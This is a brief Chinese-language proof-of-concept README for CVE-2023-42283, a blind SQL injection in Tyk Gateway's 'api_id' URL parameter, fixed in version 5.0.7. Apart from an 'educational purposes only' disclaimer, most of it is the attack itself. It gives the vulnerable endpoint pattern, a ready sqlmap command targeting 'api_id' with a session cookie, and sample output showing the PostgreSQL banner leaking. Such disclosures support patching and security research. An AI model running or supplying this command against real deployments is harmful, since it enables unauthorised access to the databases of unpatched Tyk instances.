仅供教育目的使用!
CVE-2023-42283 的概念验证。 Tyk Gateway 存在 SQL 注入漏洞。 已在 5.0.7 版本中修复。
“https://<YOUR_URL>/api/errors/count/...?res=day&p=...&api_version=...&api_id=<PAYLOAD_HERE>” 的 URL 参数 ‘api_id’ 存在盲 SQL 注入漏洞。
使用 sqlmap 及以下参数:
python.exe .\sqlmap.py -u "https://<INSERT YOUR URL>/api/errors/count/11/8/2022/13/1/2022?res=day&p=-1&api_version=Non%20Versioned&api_id=1" -p "api_id" --cookie="<INSERT COOKIE HERE>" --banner
响应中返回 SQL 数据库的 banner:
...
banner: Postgresql 13.01 on x86_64-pc-linux-gnu
...